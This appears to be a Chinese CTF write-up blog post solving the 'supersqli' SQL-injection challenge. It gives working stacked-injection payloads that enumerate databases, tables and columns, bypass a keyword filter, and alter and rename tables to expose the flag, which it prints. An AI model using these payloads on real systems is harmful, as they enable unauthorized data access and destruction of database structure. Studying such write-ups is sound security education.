

# supersqli\_攻防世界

原创

Ogazaki\_aki 于 2020-10-23 23:37:59 发布 242 收藏 3

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：<https://blog.csdn.net/u014794949/article/details/109250782>

版权

进入题目发现是文本框提交，通过尝试确定闭合字符和注入点

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' at line 1

order by确定存在2个字段

```
1' order by 2#
```

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

姿势:

error 1054 : Unknown column '3' in 'order clause'

union select查询发现关键字过滤

姿势:

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i", $inject);
```

通过堆叠注入得到库名

```
1';show databases;#
```

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}  
  
array(1) {  
  [0]=>  
    string(11) "ctftraining"  
}  
  
array(1) {  
  [0]=>  
    string(18) "information_schema"  
}  
  
array(1) {  
  [0]=>  
    string(5) "mysql"  
}  
  
array(1) {  
  [0]=>  
    string(18) "performance_schema"  
}  
  
array(1) {  
  [0]=>  
    string(9) "supersqli"  
}  
  
array(1) {  
  [0]=>  
    string(4) "test"  
}
```

<https://blog.csdn.net/u014794949>

尝试得到表名

```
1';show tables;#
```

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}  
  
array(1) {  
  [0]=>  
    string(16) "1919810931114514"  
}  
  
array(1) {  
  [0]=>  
    string(5) "words"  
}
```

尝试得到两表中的列名

```
1';show columns from `1919810931114514`;#
```

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

<https://blog.csdn.net/u014794949>

```
1';show columns from `words` ;#
```

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

<https://blog.csdn.net/u014794949>

flag列中比较可能存放答案，words表里发现id与查询的出的数据类型相同，一个数字，一个字符串，所以猜测默认查询的就是words表，没有过滤rename和alter等，即可改变表的结构,因此可以将words表名改为其他名，再把1919810931114514表名改为words，但是其中还缺少id列，因此可以添加一个id列或者把flag改为id，这样这个表就成为了默认查询表

```
1';alter table `1919810931114514` change flag id varchar(100);#
1'; desc `1919810931114514` ;#
```

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}
```

```
array(6) {  
  [0]=>  
    string(2) "id"  
  [1]=>  
    string(12) "varchar(100)"  
  [2]=>  
    string(3) "YES"  
  [3]=>  
    string(0) ""  
  [4]=>  
    NULL  
  [5]=>  
    string(0) ""  
}
```

<https://blog.csdn.net/u014794949>

然后改表名

```
1';rename table `words` to `aaa`;rename table `1919810931114514` to `words`#
```

之后报错

姿势:

```
error 1146 : Table 'supersqli.words' doesn't exist
```

销毁环境重新来一次之后得到flag

姿势:

```
array(1) {  
  [0]=>  
    string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"  
}
```